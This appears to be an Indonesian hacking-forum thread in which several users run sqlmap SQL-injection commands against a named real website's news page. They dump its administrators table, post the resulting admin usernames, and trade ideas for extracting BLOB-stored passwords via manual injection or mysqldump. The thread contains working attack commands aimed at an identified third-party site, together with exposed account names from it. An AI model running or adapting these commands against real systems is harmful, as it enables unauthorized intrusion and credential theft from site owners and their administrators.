[wine trochanter]

assalamualaikum
maaf oot,dari hasil diskusi tadi menemui kebuntuan
saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar

terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar
kata om XXX(nama disamarkan ) itu pake binari bukan hash

for test--> python sqlmap.py -u http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump

hasilnya
+-------------+--------------+
| admin_login | admin_passwd |
+-------------+--------------+
| Anders | |
| Elwin | |
| ipas | |
| mkelemen | |
| mstollt | |
| nkluge | |
+-------------+--------------+

terus cara dump nya gmna yah??
mohon bantuannya

[Junior Riau]

assalamualaikum
maaf oot,dari hasil diskusi tadi menemui kebuntuan
saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar

terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar
kata om XXX(nama disamarkan ) itu pake binari bukan hash

for test--> python sqlmap.py -u http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump

hasilnya
+-------------+--------------+
| admin_login | admin_passwd |
+-------------+--------------+
| Anders | |
| Elwin | |
| ipas | |
| mkelemen | |
| mstollt | |
| nkluge | |
+-------------+--------------+

terus cara dump nya gmna yah??
mohon bantuannya

http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump <=== perhatikan ini. ketika om jalanin ini om udah dumping database ECDB untuk tabel administrator saja,,kalau mau dumping 1 db bisa kok kalau mau tunggu berjam2 wwkwk,, dan catatan untuk web ini om g akan bisa temukan passnya wwkw,,type data passna blob,,sureeem,,

[wine trochanter]

assalamualaikum
maaf oot,dari hasil diskusi tadi menemui kebuntuan
saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar

terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar
kata om XXX(nama disamarkan ) itu pake binari bukan hash

for test--> python sqlmap.py -u http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump

hasilnya
+-------------+--------------+
| admin_login | admin_passwd |
+-------------+--------------+
| Anders | |
| Elwin | |
| ipas | |
| mkelemen | |
| mstollt | |
| nkluge | |
+-------------+--------------+

terus cara dump nya gmna yah??
mohon bantuannya

http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump <=== perhatikan ini. ketika om jalanin ini om udah dumping database ECDB untuk tabel administrator saja,,kalau mau dumping 1 db bisa kok kalau mau tunggu berjam2 wwkwk,, dan catatan untuk web ini om g akan bisa temukan passnya wwkw,,type data passna blob,,sureeem,,

iya cara itu dah saya coba kok,tp gak tampil2 tu pass
pass siluman kali yah

[iKONspirasi]

salah satu cara yang bisa dilakukan adalah melalui akses ke mysqlnya untuk melakukan dump file blob:

Code:

mysqldump --opt -u user -p pass dbname images_table > images.sql

blob adalah file biner yang akan berbentuk seperti ini:

'╖?*á±dÆ╦N╪Æ·h^ye"π╩i╪ Z+-$▼₧╬Y.∞┌|↕╘l∞/l╞⌂î7æ▌X█XE.ºΓ[ ;╦ï♣éµ♂º╜┤║].♂┐φ9dë╟█'╕ÿG∟═0à¡úè♦╥↑ù♣♦¥'╔NÑ'

file blob berupa file biner multimedia yang bisa dicoba2 dibuka dengan imageviewer atau vlc
klo menyimpan password biasanya mereka menyimpan dalam bentuk image, trial n error aja

untuk melakukan dump seperti diatas menggunakan sqlmap ada yang tahu caranya? atau ada teknik lain yang bisa dilakukan untuk mendapatkan file blob?

[Junior Riau]

om ikons,,itu udh lama ane test,,dan memang susah,, terus ane coba mnta pendapat om zee, dan om zee coba saran manual injection(url),, yap memang berhasil tapi g seluruh karatker terbaca,,ada beberapa karakter yang mmasih dalam contoh file binner diatas yang om sebutkan jadi hasil dump nya waktu itu kira2 seperti ini

Code:

pass♦wo♦rd

dan ane sudah coba2 ganti tetep g cocok wkwkwk\
padahal itu web gede

[iKONspirasi]

klo dump dalam bentuk biner aja bisa ga? nanti kan bisa dicoba2 file binernya, kita reverse engineer bareng2

[Junior Riau]

mysqldump --opt -u user -p pass dbname images_table > images.sql <== gini caranya??

kalau dalam perintah sqlmap lengkap kek gini?

./sqlmap.py -u www.target.com -D databasename -T administrator -C user,passowrd --dump kelanjutannya apa om?

[wine trochanter]

hemm sama dah,saya jg blm ketemu caranya,masih lg nyari referensi

kalo kataom junior,saya udah pake cara itu tp hasilnya sama dah

[iKONspirasi]

mysqldump --opt -u user -p pass dbname images_table > images.sql <== gini caranya??

kalau dalam perintah sqlmap lengkap kek gini?

./sqlmap.py -u www.target.com -D databasename -T administrator -C user,passowrd --dump kelanjutannya apa om?

nah itu dia ane sendiri ga tau klo utk sqlmap buat dump blob seperti yg ada di mysqldump

[ekawithoutyou]

nyimak pening ni ngebacanya wkwkwk :p